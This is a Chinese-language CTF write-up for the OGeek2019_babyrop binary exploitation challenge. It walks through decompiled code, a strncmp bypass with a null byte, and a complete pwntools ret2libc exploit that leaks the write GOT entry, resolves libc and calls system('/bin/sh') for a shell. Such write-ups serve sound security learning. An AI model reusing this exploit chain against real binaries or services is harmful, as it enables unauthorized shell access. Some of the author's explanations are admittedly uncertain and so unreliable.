其实这题也不难 但是做起来却磕磕碰碰的
[Libc泄漏]OGeek2019_babyrop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int __cdecl sub_804871F(int a1) { size_t v1; // eax char s; // [esp+Ch] [ebp-4Ch] char buf[7]; // [esp+2Ch] [ebp-2Ch] unsigned __int8 v5; // [esp+33h] [ebp-25h] ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u); memset(buf, 0, 0x20u); sprintf(&s, "%ld", a1); v6 = read(0, buf, 0x20u); buf[v6 - 1] = 0; v1 = strlen(buf); if ( strncmp(buf, &s, v1) ) exit(0); write(1, "Correct\\\\n", 8u); return v5; }
|
首先我的ida有点问题 最后return的v5应该是buf[7] 其次对比一下之前的ciscn_2019_n_8 他的var数组是%d类型 而此时的buf是char类型 因此padding的时候不需要四个字母一组
1
| v6 = read(0, buf, 0x20u);
|
这一行的read作用和scanf相等 之前是没想到原来输入口在这 给了0x20的空间来输入buf[7] 对于strlen的长度判断可以用\x00截断所以初步payload如下
1 2
| payload = '\\\\x00' + 'a' * 7 至于为什么\\\\x00后a是*7而不是6暂时还不清楚
|
这样才能绕过strncmp的比较 返回buf[7]
1 2 3 4 5 6 7 8 9 10 11
| ssize_t __cdecl sub_80487D0(char a1) { ssize_t result; // eax char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 ) result = read(0, &buf, 0xC8u); else result = read(0, &buf, a1); return result; }
|
返回的值作为参数传入这里 在这看到存在栈溢出可能 之前的buf就不要想了长度太短 这里我们至少需要0xe7+20左右 所以我们需要让a1尽可能大 也就是buf[7]尽可能大 所以buf[7]我们可以用\xff(最大的ascii了)
1 2 3 4 5 6 7 8
| payload = '\\\\x00' payload += 'b' * 6 payload += '\\\\xff' sh.sendline(payload) sh.recvuntil("Correct\\\\n")
payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(0x08048825)+p32(1)+p32(write_got)+p32(4) sh.sendline(payload1)
|
至于为啥用write这么复杂 是因为之前用了puts跑不通 对于libc泄漏而言 这是write的标准格式 然后就是走流程了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * from LibcSearcher import * context.log_level = 'debug' #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] sh = process('./pwn') #sh = remote('node4.buuoj.cn',28124) elf = ELF('./pwn')
write_plt = elf.plt['write'] write_got = elf.got['write']
#gdb.attach(sh) #2C = 44 20 = 32 payload = '\\\\x00' payload += 'b' * 6 payload += '\\\\xff' sh.sendline(payload) sh.recvuntil("Correct\\\\n")
payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(0x08048825)+p32(1)+p32(write_got)+p32(4) sh.sendline(payload1)
write_addr = u32(sh.recv(4)) #print(hex(puts_addr)) libc = LibcSearcher("write",write_addr) write_libc = libc.dump('write') base_addr = write_addr - write_libc system_addr = base_addr + libc.dump('system') binsh_addr = base_addr + libc.dump('str_bin_sh')
payload2 = 'b' * (0xe7+4) + p32(system_addr) + p32(0x08048825) + p32(binsh_addr) sh.sendline(payload) sh.recvuntil('Correct\\\\n')
sh.sendline(payload2) sh.interactive()
|
不过得事先将这个so文件add到LibcSearcher一下